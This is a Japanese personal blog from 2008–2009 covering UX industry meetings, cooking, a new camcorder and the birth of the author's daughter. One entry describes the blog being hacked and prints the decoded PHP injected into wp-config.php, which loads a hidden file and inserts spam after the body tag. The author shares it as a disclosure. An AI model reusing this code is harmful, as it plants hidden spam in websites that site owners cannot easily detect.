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HCD-Net meets Google guys
HCD-Net理事でもあるDESIGN IT!/ソシオメディアの篠原さんの計らいで、DESIGN IT! Conference 2009のゲストとして来日されているBraden Kowitz氏(米Google社シニアUXデザイナ)、Donal Mountain氏(米Google社UXリサーチャ)らとHCD-Net理事メンバーとの意見交換会が開催された。
今回、Google代表としてではなく、各分野のスペシャリストとして講演されるとのことだったが、GoogleでのUXアクティビティなどを聞くことができた。
おふたりとももともとそれぞれ肩書きがユーザーインターフェイスデザイナ、ユーザビリティアナリストだったのが数年前にGoogleでは、UXの概念の普及と共にユーザーエクスペリエンスデザイナ、ユーザーエクスペリエンスリサーチャと変わったとのこと。
他にも、Google内及び日本国内でのUXリテラシの普及度、分野ごとの具体的なユーザビリティエンジニアリングの手法など、実践における方法などで意見交換を行うことができた。
例によってSuica等のプリペイドカードの日本での普及と携帯との融合は彼らには目新しかったようで、早速Suicaを購入していた模様。
User Friendly 09 in China
11/13〜15で、上海で開催されたUser Friendly 09カンファレンスに参加。
User Friendly 09 by UPA China
http://www.upachina.org/userfriendly2009/en/index/index.aspx
090212-15: 牛スジ煮込み
今週は水曜が休みだったため、木曜金曜の二日は週明けっぽくもあり、あっという間の週末っぽくもあり、のあわただしい日々だった。
ジョージ、河内さんが出張、旅行から帰国。
河内さんのハワイ旅行記は読み応えもあり、ハワイに行きたくなる。
もうちょっと子供が大きくなったらだな。
金曜役員会では、コンセントの新キャッチフレーズにつけるショルダーコピーというのかな?フレーズの隣に書かれる文言、あれが決まった。近日公開されます。
また、ビデオカメラを購入。
メモリカードに録画できる軽量なやつ、と思っていたのだが、このタイミングでソニーから渾身のできの新機種が登場。
小寺信良の週間「Electric Zooma!」’09年春頂上決戦!? HDR-XR520V vs HF S10
〜 数年に一度の革命を一気に成し遂げたHDR-XR520V篇 〜
ちょっと予算オーバーしたがこれを買わないわけにはいかず発売日前に予約。
2/20発売予定だったが、1週間早く発売された模様。
会社でちょっと試し撮りしたが、まずはその画質におどろく。
ミニDVとかの時代しか知らないので(ザクティとかコンパクトビデオはあったが、あっちはもちっと画質は劣る)、フルハイビジョン画質にちょっとした感動を味わう。
あとは、記事の評判通り、アンチ手ぶれの性能がものすごい。歩きながら撮ってもほんとに安定している。
こんなカメラが学生時代にあったら映画撮り放題だな。
これと、10万円くらいのMacBookとかで十分編集できてしまうのだから。
週末は相変わらず家で子供の世話の手伝いと、食事作り。
土曜は暖かいというより春のような気候。
ようやく加湿器が届いたのだが、そろそろいらなくなりそうなタイミング。
ビデオカメラでカメラづいたので、ついでに陽気に惹かれてお散歩撮影。
D80にCarl Zeiss Planar 50mm/F1.4で撮影実験。
帰り道で見切り品の野菜といっしょにこんにゃくを買ってきて先日買ってきてほったらかしになっていた牛スジ煮込みに挑戦。
結婚祝いにもらった圧力鍋をを初めて使ってみる。
圧力鍋に、一度湯がいて血や油を落とした牛スジと、塩もみしたこんにゃく、あとはしょう油とみりんを加えて煮込む。
湯がいた状態のすじ肉は、がちがちに固まって、お湯につけたせいで反ってしまっている。
加圧して30分煮込んだら、鍋を移してさらにしばらく煮込む。
これで信じられないくらいとろーんとした牛スジ煮込みができあがった。
以前スペアリブのカレーを作ってもらったときも骨まで食べられるほど煮込まれたのだが、この圧力鍋というのはあまりにも強力すぎてちょっと恐れを感じてしまう。
090211: blog was carcked
(この)blogがクラックされた。
具体的には、<body>タグの直後に64kくらいの(!)SPAM広告が埋め込まれる、というクラック。
kazuさんに指摘されて気づいたのだが、CSSを切らないと画面には表示されないようになっていた。
指摘された後もなにが起きているのかわからず、WordPressを最新ソースに差し替えたりしたのだが、直らず。
と、思っていたら、WordPress設定ファイルである、wp-config.php自体が汚染されていた。
かつ、埋め込まれたコードはbase64でエンコードされており、単純には見つからない仕組みになっていた。
ちなみにこんなコード。けらくんに解読してもらった。
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('/home/www/wordpress/wp-includes/js/
tinymce/themes/advanced/images/xp/js.php')){
include_once('/home/www/wordpress/wp-includes/js/
tinymce/themes/advanced/images/xp/js.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\<body/si',$c)){
return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}
もう一つ自己増殖するコードも埋め込まれていた模様。
実はこのblog(underconcept)ではなく、同じサーバで運営していた別のblogが原因でこちらのblogも汚染されていた。
これはこのblogを乗せているさくらインターネットがユーザーの権限でApacheを動かしていたため、パーミッション644のファイル(ほぼすべて)が、Apacheの権限で書き換えられてしまったことに起因しそう。
問題のありそうなテーマ等は現在解析中です。
090209-10
月曜午前はグループミーティング。
本日は、昨日紹介したUX Deliverablesを紹介しながら自分たちのプロセスとの比較や、知らない用語がないかの確認。
こういったかたちで全体像が提示されることで自分達のプロセスとの比較や、議論する際のスタートラインを作れるのことはたいへんよい。
大岡くんやちこちゃんなどIX/UXチーム以外の人々も参加して、むしろチームメンバーより活発に議論。
午後はプロジェクトの相談を受けに赤坂へ、その後は続けてプロジェクトミーティング。
帰り道でI佐さんよりプライベートかつコンフィデンシャルな相談を受け大いに盛り上がる。
火曜は午前はドキュメント制作などの作業。
午後からプロジェクトについての社内デザインミーティング。
「画面情報の価値」ということについて、情報量、一覧性、インタラクション(ギミック) の有無、楽しさ(演出)といった競合もする要素のグラデーションから検討する。
その後は、CNET西田さんの紹介でウノウの山田さんとお会いする。
関係ないがウノウって関連会社にサノウってあるのね。
夜のIA100ミーティングは編集の村田さんの急な会議で延期。
090207-08
ひさびさに土日ともに外出の予定が入っていない週末。
床屋にて散髪。それ以外は料理して、おむつ交換して、たまにミルクを作ってあとは原稿やプロジェクトのドキュメント執筆。
以下、覚えているメニュー:
土曜ブランチは、賞味期限切れのコンキリエパスタをトマトソースにオリーブ、ケッパー、唐辛子等々を加えたものあえたもの、ゴボウのバルサミコきんぴら。
コンキリエは窪みにソースがからむので、トマトソースがぴったり。
トマトソースはニンニクと唐辛子をオリーブオイルで炒めて、オリーブ、ケッパーを加えてからホールトマトを入れて煮ただけの簡易ソース、だったが、仕上げに黒こしょうをきかせたらぴりっとして美味だった。
晩は、かぶとにんじん、鶏肉その他のポトフ、鶏胸肉のソテー キノコ添え、じゃがいもとエリンギのきんぴら。
鶏のソテーは僕にとって鬼門ともいうべき難敵なのだが、今日は1)ハーブで香り付けしておく、2)片面を重点的に焼く、3)蓋をして全体を蒸らす、の作戦でいったらレアにおいしく焼けた。
同時に翌日用にカボチャを醤油、みりん、砂糖で甘く煮る。
日曜朝は昨日の残りのご飯がちょっとだけあったので、あとは餅を焼いて、納豆餅、海苔餅、残り物のあんこを使ってお汁粉。それに白菜のおひたし。昨日のカボチャ。
白菜はざく切りして熱したるクルーゼに入れて白菜自身の水分でじわっと煮込む。
そこにすり下ろした生姜と、自家製ポン酢をかけていただく。あまり火を通しすぎないでしゃきしゃきしたままで食べるのがポイント。
カボチャは熱くてもおいしいが、さましてから食べると口の中で甘いのとしょっぱいのとが交互にやってきて止まらなくなる。
昼はブロッコリのペペロンチーノ唐辛子抜き。
ブロッコリの下ごしらえもわりと苦手なのだが、今日も若干まだ固かったかも。
晩は肉じゃが、キノコと豆腐の味噌汁、アスパラのオリーブオイル炒めにパルメザンチーズをあえる。
肉じゃがはたぶん作ったことがなかったが、初めて作ったにしてはうまくできた。
豚肉をルクルーゼで炒めて、そこにじゃがいも、にんじん、たまねぎを加える。
そこにみりんと酒を加えて、フタをしてじゃがいもが柔らかくなるまで弱火で煮る。
水は野菜の水分がじゃぶじゃぶ出るから入れない。
じゃがいもが柔らかくなったら、醤油をかけてもうひと煮。
最初豚肉の臭みが気になったが、しばらく放っておいたら飛んだ模様。
ご飯にかけてもおいしい。
あと、回鍋肉用に豚肩ロース肉を煮る。
回鍋肉用の豚ブロックはいつもなにを買ったらよいか忘れてしまうんだが、今回は間違わず肩ロースを購入。
ねぎの青いところは回鍋肉の豚煮用に残してある。
煮た豚は半分冷蔵庫、半分ソフト冷凍。
残った汁はスープに使える。
最近購入した新しい冷凍庫はソフト冷凍(温度が高いので冷凍しても包丁で切れる)とか、瞬間冷凍(過冷却しておいて、ショックを与えて一瞬で冷凍させて、細胞を壊さず冷凍できる)とか新機能が付いているのだが、いまいち使いこなせていない。
ソフト冷凍でフローズンヨーグルトを作るくらいか(しかしそれも凍らせっぱなしでかちんかちんになってしまう)。
090206
備忘録を復活
朝は寝坊したので自由が丘の浅野屋のキッシュとクリームソースパン。
午前、コンセントのステアリングコミッティーミーティング。
新規にコンセントに加わった日野さんが、今週からこのミーティングに参加。
午後からプロジェクト相談のヒアリング。
方向性としてはいくつか考えられるが、枠組みとしてエンタープライズ情報アーキテクチャ設計としてとらえられる問題提示であった。
最近やはりエンタープライズ情報アーキテクチャの課題が増えている。
そのままHCD-Netで、弁理士 松倉先生を囲むワークショップ。
HCD-Netでの知財の扱いについてをテーマにしたワークショップだったが、ウェブサイトの模倣(パクリ)、納品後の企業での再利用可能性、デザインプロセスの中でできたボツ案の扱い方、オープンソースを用いた場合の納品物責任の範囲、途中成果物(flaとかpsd)の納品責任、等々身近なかつ契約になかなか明示化されていないような事柄についていろいろと伺う。
松倉先生の話で面白かったのは、松倉先生自身、ビジネスをうまくすすめるためにいかに法を運用するか、という観点で取り組んでいるという点。なので決して保守的にならずに、新しいアイデアをそこで生み出すことができているのだろう。
今後もいろいろと教えていただきたいです。
ワークショップ後はHCD-Netの小樽商科大の平澤先生らと渋谷で食事。
宮崎地鶏のお店「おじゃったもんせ」。ちょっと見た目には店とはわからない。
こちらでは、社会システムデザインと個々の企業の分担の話題で盛り上がる。
自動車のように一社で安全性能を担保しなければならない業種は存在するが、はたして、すべての情報システムはそういったシステム全体の責任をどこかが追うことができるのか、というまだ終わりがない命題。
と、ミツエーリンクスの木達くんから、このblogサイトがハッキングされていない?とのコメントをもらう。
CSSを切ってみたら、確かにされているっぽい。
デザインCSSをいじってみてもなんともなおせないようなので、ソースに手が入っているのかもしれない、、、むむむ。
WordPressをバージョンアップ(バイナリ総取っ替え)してみることにしよう。
090101: New Year Day, and the 2nd day
あけましておめでとうございます。
新年の朝を一人で起き出し、午前中は産院へ電話を入れた後、306を修理へ出す。
愛知の豊田車輌さんという306 カブリオレオーナー会では伝説とかした名工のもとへ、チューンへ(というか幌の修理)。
ついでに細かいところもメンテしてもらう予定。
その後奥さんの実家へ。
義母と義姉、姪をピックアップし病院へ。
1時の面会時間ちょうどに産院へ到着。
さすがにお義姉さんは姪を育児中だけあって赤ちゃんの抱きかかえかたは堂に入っている。
1歳半の姪は、すでに身長が80センチ、体重が10キロでもうすでに人間、かたや生まれたてのうちの子は身長50センチ、体重3.1キロでまだ生き物。
一年のこんなに育つものなのね。
なんだかんだと3時頃また義母らを実家まで送る。
で、戻ってくると今度はうちの実家の父母弟妹が山形から到着。
正月なのが幸いし、家族全員集合できた。
父母にとっては妹以来だから30年ぶりくらいの赤ちゃんであろう。
で、亡くなったじいさんと誕生日が一緒になったから、おばあちゃんも喜んでいるとのこと。
思わぬ孝行、かつじいさんにも守ってもらえるようでありがたい(ちなみに、僕も若くして亡くなった叔父と誕生日がいっしょというめぐりあわせがある)。
1時間くらい滞在して、写真、ビデオをいっぱいとってもらって、実家軍団は退席。
1時間の滞在のために、片道3〜4時間もかけてきてもらえて、大変幸せを感じます。
その後は面会終了時間まであかちゃんと遊ぶ。
昨日とはまったく表情も変わり、より人間らしくなっている。
見たところ髪の生え際はうちの妹と似ているが、頭の形は奥さんに似ているらしい。
とはいえ、どこが何に似ているかって、いまの段階だとよくわからんね。
昨夜は夜は赤ちゃんは預かってもらったが、今晩からは夜もお母さんといっしょらしい。
本人(奥さん)もちょっと心配しているが、慣れていく必要があるということだろう。
というわけで、こんな感じで1年が始まりましたが、今年もよろしくお願いします。
081231: just born
前日見たダークナイトがおもしろかったなと思いながら起きる。
今日は昼に自転車で代々木に移動し、306を代々木から家に移動させて、その後雪見鍋年越し会だなと計画を立てていたら、奥さんが陣痛のようなものが来ているという。
とうとうプレ陣痛が来たか、と話しながら、1時間くらいしてもおさまらないので、病院に連絡、一応診察してもらうことにする。
病院に向かうが、奥さんはなにか予感したのか、出産入院セット荷物を持っていくという。
病院はクルマで5分のところなので、あっという間に着く。
クルマから病院まで動くのも一苦労でつらいようだ。
早速診察してもらうと、本当の陣痛だったらしく、入院と相成る。
入院セットを持ってきておいてよかった。
出産は今日(大晦日)か明日(元旦)になるでしょう、と言われる。
心の準備はできていないが、祖父が大晦日生まれだったので、大晦日に産まれること自体はあまり驚かなかった。
しいて言えば正月に産まれるってのはめでたすぎやしないか?という程度。
早速部屋が用意され、荷物を納める。
陣痛は厳しそうだが、手を握ってあげるくらいしかやれることはなく、一度クルマを移動させに家に戻る。
2時頃、自転車で代々木に移動し、代々木から306を運転し自宅へ。
正月休みで帰省しているお隣さんの駐車場をちょっと拝借。
遅い昼飯でも食べようか、と冷蔵庫を物色しようとすると病院から電話「分娩室に入りました。何分でこれますか?」「え?30分、いや10分で」このとき3時25分
クルマを出す時間も惜しいので慌てて自転車で病院へ向かう。
一方通行もあるから自転車の方が早い。
病院へ行くともう分娩室に入っている。
「立ち会いますか?」と聞かれ「せっかくなので」と実に消極的に立ち会うことにする。
することもないので、リクエストされていたポカリにストローをさして、いきみの合間合間に飲ませる役目。
本格的にいきみがはじまり、次第にあかちゃんが出てきている様子。
(ちなみに本人がナースコールした際には「いきみたいです!」と言ったらしい)
なかなか出てこないようにも思えたが、数えてみるとだいたい10数回くらいのいきみタイミング(っていうの?)を終えると、紫色の赤ちゃんがでてきた。
予告通り女の子。
時間は4時20分。
かなりスピード出産だった様子。
赤ちゃんは、出てくるやいなやみゃーみゃー泣きだした。
産まれたばかりなのに髪の毛がいっぱい生えていてる(産まれたときは髪の毛はないものと思い込んでいた)。
ここで一度僕は退室。
ロビーで待つ。
その間にうちの実家と奥さんの実家とに連絡。
どちらにも一度昼には連絡していたが、今晩産まれるかも、という連絡だったので、まさかもう産まれたとは誰も思っていなかった。
後産処理を待ち、分娩室へ戻る。
赤ちゃんをウォーマーからお母さんの隣に乗せ、初おっぱい。
まだすい方がわからないみたいだけど、開けた口に乳首をあてがうと、いっちょうまえに吸い出した。
まだ顔を拭いてあげただけで髪の毛も固まっているけど、血色は産まれた直後の紫色から人間色に変わってきている。
考えてみるとこうやって出産に立ち会うってのは女性であってもたいていは主体者なわけで、あまり客観的に見ることはできず、確かに貴重な体験であった。
ようやく病室へ移り、チコさんと美子さんが早速お見舞いに来てくれた。
まだ首が据わっておらず、本人もなにがなんだかわからない様子(奥さんも)。
と、慌ただしいまま面会時間は終了し、ちょっと延長してもらったけど8時半頃家に戻り年越し。

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